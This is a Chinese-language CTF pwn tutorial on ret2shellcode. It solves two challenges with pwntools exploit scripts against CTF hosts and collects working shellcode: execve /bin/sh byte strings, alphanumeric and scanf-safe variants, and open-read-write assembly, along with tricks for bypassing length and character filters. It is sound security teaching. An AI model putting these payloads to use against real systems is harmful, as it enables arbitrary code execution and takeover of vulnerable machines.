PWN练习之ret2shellcode

debu8ger Lv3

概述

ret2shellcode是栈溢出利用ret2textret2shellcoderet2libc三大类中的一个,是指攻击者需要在程序没给shell的情况下自己调用shell的机器码(即shellcode)注入到程序内存中,随后就是利用栈溢出复写return_address,跳转至shellcode所在内存,执行shell命令,得到flag。

可能的exp姿势

1.注入shellcode至stack段中

这个现在其实很少见了,基本上都加了保护。其中,比较常见的保护手段有:

  • ASLR:其功能是将一部分内存段(如栈…)的地址偏移,在注入时难以定位其位置。
  • NX:使得部分内存段(如堆、栈…) 不可执行,无法执行注入的代码。
  • Canary:原理是在栈底插入cookie信息,函数返回时将检测该信息是否被改变,若改变,则断定发生栈溢出

2.注入shellcode至bss段中

在虚拟内存当中,bss段主要保存无初值的全局变量/静态变量(在assmbly中以占位符?声明)。若程序的bss段可写、可执行,则可以把shellcode写入全局变量/静态变量中。

例题

一.[GDOUCTF 2023]Shellcode

拿到二进制文件,习惯性的checksec一下,看栈…的保护措施:

pwn1

加了NX,不过没啥关系,

放到IDA中反编译,定位到main函数

{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
puts("Please.");
read(0, &name, 0x25uLL);
puts("Nice to meet you.");
puts("Let's start!");
read(0, buf, 0x40uLL);
return 0;
}

可以利用name来注入shellcode,然后再栈溢出到buf中执行。这里要注意的是name限制了25字节的写入。

想到利用pwntools里的shellcraft模块直接生成shellcode利用,

首先试试用shellcraft.sh(),但是这个在32位下占位44字节,64位的则为48字节,超过了25字节的写入限制。于是,便利用shellcraft.cat()来构造cat flag,这个只有0x21字节。

接着,我们得到name的地址为.bss段0x6010A0

最后的exp:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = remote('node4.anna.nssctf.cn', 28409)

shellcode = asm(shellcraft.cat("flag"))
io.sendlineafter(b'Please.', shellcode)
io.sendlineafter(b'start!', b'a'*0x12 + p64(0x6010A0))

io.interactive()

#flag:NSSCTF{d7640236-bc9b-4954-a10a-2bfd305e91a8}

还有一种做法是手动构造shellcode,找一个小于25字节的shellcode。

NOTE

32位短字节shellcode(21字节):

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64位短字节shellcode(23字节):

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f \x05

其余的基本上不变,下面为第二种exp:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = remote('node4.anna.nssctf.cn', 28409)
shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.sendlineafter(b'Please.', shellcode)
io.sendlineafter(b'start!', b'a'*0x12 + p64(0x6010A0))

io.interactive()

#flag:NSSCTF{d7640236-bc9b-4954-a10a-2bfd305e91a8}

二.[HNCTF 2022 Week1]safe_shellcode

拿到附件,checksec一下,

pwn2

保护得还算少,

IDA中反编译,定位main函数

{
size_t v3; // rbx
char s[524]; // [rsp+0h] [rbp-220h] BYREF
int i; // [rsp+20Ch] [rbp-14h]

setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
memset(s, 0, 0x200uLL);
read(0, s, 0x300uLL);
for ( i = 0; ; ++i )
{
v3 = i;
if ( v3 >= strlen(s) )
break;
if ( s[i] <= 47 || s[i] > 122 )
{
puts("Hacker!!!");
exit(0);
}
}
strcpy(buff, s);
(*(void (**)(void))buff)();
return 0;
}

就是先read一下s变量,循环s字节数的次数做判断,strcpy(buff, s)则是将s的值直接存入buff中,其也指向了.bss段

要想绕过该判断,只要输入的ascii码在47-122之间即可。09、AZ、a~z都可。

我们使用纯ascii字符的shellcodePh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

因为后面直接调用了buff的地址,所以无须栈溢出即可得到flag。

NOTE

32位 短字节shellcode –> 21字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

32位 纯ascii字符shellcode PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA

32位 scanf可读取的shellcode \xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh

64位 scanf可读取的shellcode 22字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

64位 较短的shellcode 23字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

64位 纯ascii字符shellcode Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

最后的exp:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = remote('node5.anna.nssctf.cn', 26988)

shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()

#flag:nssctf{W0www!!!!!!!!!!!Sh311C0d3_m@st3rrr!!}

绕过限制

一.限制输入长度

  1. 利用短字节shellcode(32位)

    getshell - 21字节

    # (execve("/bin/sh",NULL,NULL))
    shellcode = asm("""
    push 0x68732f
    push 0x6e69622f
    mov ebx,esp
    xor ecx,ecx
    xor edx,edx
    push 11
    pop eax
    int 0x80
    """)

    orw - 56字节

    shellcode = asm("""
    /*open(./flag)*/
    push 0x1010101
    xor dword ptr [esp], 0x1016660
    push 0x6c662f2e
    mov eax,0x5
    mov ebx,esp
    xor ecx,ecx
    int 0x80
    /*read(fd,buf,0x100)*/
    mov ebx,eax
    mov ecx,esp
    mov edx,0x30
    mov eax,0x3
    int 0x80
    /*write(1,buf,0x100)*/
    mov ebx,0x1
    mov eax,0x4
    int 0x80
    """)

    \x00截断getshell - 21字节

    \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

    scanf可读取getshell - 41字节

    \xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh
  2. 利用短字节shellcode(64位)

    getshell - 22字节

    shellcode = asm("""
    mov rbx, 0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
    """)

    orw - 43字节

    shellcode = asm("""
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
    """)

    \x00截断、scanf可读 - 22字节

    \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
  3. \x00截断绕过长度判断

    当题目采用strlen来进行shellcode的长度检测时,可以在其前面加\x00开头的指令绕过长度检测。以下为64位的指令:

    00 40 00                 add    BYTE PTR [rax+0x0],  al
    00 41 00 add BYTE PTR [rcx+0x0], al
    00 42 00 add BYTE PTR [rdx+0x0], al
    00 43 00 add BYTE PTR [rbx+0x0], al
    00 45 00 add BYTE PTR [rbp+0x0], al
    00 46 00 add BYTE PTR [rsi+0x0], al
    00 47 00 add BYTE PTR [rdi+0x0], al

    ps:也可直接\x00\x00绕过

二.限制权限

  1. 限制shellcode无读写权限

    利用mprotect给予读写权限,并再次利用read写入执行

    mprotect用法

    #include <unistd.h>
    #include <sys/mmap.h>
    int mprotect(const void *start, size_t len, int prot);
  2. 限制远程读flag权限

    先执行setuid(0),再执行execve来进行getshell

Comments
On this page
PWN练习之ret2shellcode